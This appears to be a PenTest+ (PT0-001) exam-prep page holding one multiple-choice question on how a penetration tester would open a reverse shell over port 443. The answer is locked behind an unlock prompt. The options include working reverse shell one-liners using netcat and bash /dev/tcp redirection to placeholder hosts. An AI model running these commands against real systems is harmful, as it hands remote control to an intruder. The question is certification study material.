CompTIA
PT0-001 · Question #37
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. W
Sign in or unlock PT0-001 to reveal the answer and full explanation for question #37. The question stem and answer options stay visible for context.
Post-exploitation and lateral movement
Question
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?
Options
- Aperl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
- Bssh superadmin@<DESTINATIONIP> -p 443
- Cnc -e /bin/sh <SOURCEIP> 443
- Dbash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1
Unlock PT0-001 to see the answer
You've previewed enough free PT0-001 questions. Unlock PT0-001 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.
Topics
#reverse shell#bash TCP redirect#port 443#firewall evasion